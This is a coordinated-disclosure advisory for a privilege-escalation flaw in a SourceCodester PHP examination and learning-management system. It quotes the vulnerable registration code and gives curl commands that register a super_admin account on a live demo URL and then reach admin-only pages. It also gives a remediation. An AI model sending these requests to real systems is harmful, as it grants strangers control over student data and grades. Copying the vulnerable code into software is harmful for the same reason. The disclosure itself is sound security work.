SourceCodester Online Examination & LMS Improper Privilege Management (PoC)

================================================================================
ADVISORY: Online Examination & LMS (SourceCodester/ampoldev)
VULN ID:  Role Parameter Injection (Privilege Escalation to super_admin)
SOURCE:   https://www.sourcecodester.com/php/18739/syllabus-aligned-learning-management-examination-system.html
DEMO:     http://localhost/cictportal/auth_process.php
CWE:      CWE-269 (Improper Privilege Management)
CVSS:     9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
================================================================================

--- AFFECTED FILES ---
  auth.php
  auth_process.php
  register.php

--- VULNERABLE CODE ---

  // auth_process.php:
  $role = $_POST['role'];  // ← User-controlled, no server-side validation
  $stmt = $pdo->prepare("INSERT INTO users (fullname, email, password, role) VALUES (?,?,?,?)");
  $stmt->execute([$fullname, $email, $hash, $role]);

  // register.php renders this HTML dropdown:
  <select name="role">
    <option value="Student_Unit">Student</option>
    <option value="Lab_Instructor">Instructor</option>
  </select>
  // An attacker ignores the dropdown and sends any role value directly via POST.

--- PROOF OF CONCEPT ---

  # Step 1: Send POST request directly to the registration handler,
  #          setting role=super_admin (bypassing the HTML dropdown entirely).

  curl -X POST https://lmexaminationsystem.great-site.net/auth_process.php \
    -d "fullname=Attacker&[email protected]&password=Test1234&role=super_admin&register_btn=1"

  # Expected response: Redirect to dashboard with super_admin session

  # Step 2: Log in with the newly created account:
  curl -X POST https://lmexaminationsystem.great-site.net/auth_process.php \
    -d "[email protected]&password=Test1234&login_btn=1" \
    -c cookies.txt

  # Step 3: Access admin-only pages:
  curl -b cookies.txt https://lmexaminationsystem.great-site.net/super_dashboard.php
  curl -b cookies.txt https://lmexaminationsystem.great-site.net/import_users.php
  curl -b cookies.txt https://lmexaminationsystem.great-site.net/manage_subjects.php

--- IMPACT ---
  - Any unauthenticated internet user can self-register as super_admin
  - Immediate access to all student PII, exam results, and enrollment records
  - Ability to create additional rogue admin accounts for persistence
  - Grade falsification and enrollment manipulation at will
  - No prior knowledge, credentials, or privileges required

--- REMEDIATION ---

  // auth_process.php — NEVER accept role from POST on public registration:
  $role = 'student'; // Hardcoded — always student for self-registration

  // Also remove the role <select> from register.php HTML entirely.
  // Admin-assigned roles should only be set via authenticated admin panel.

================================================================================
Reported for coordinated disclosure.
Vendor notified simultaneously via SourceCodester contact form.
================================================================================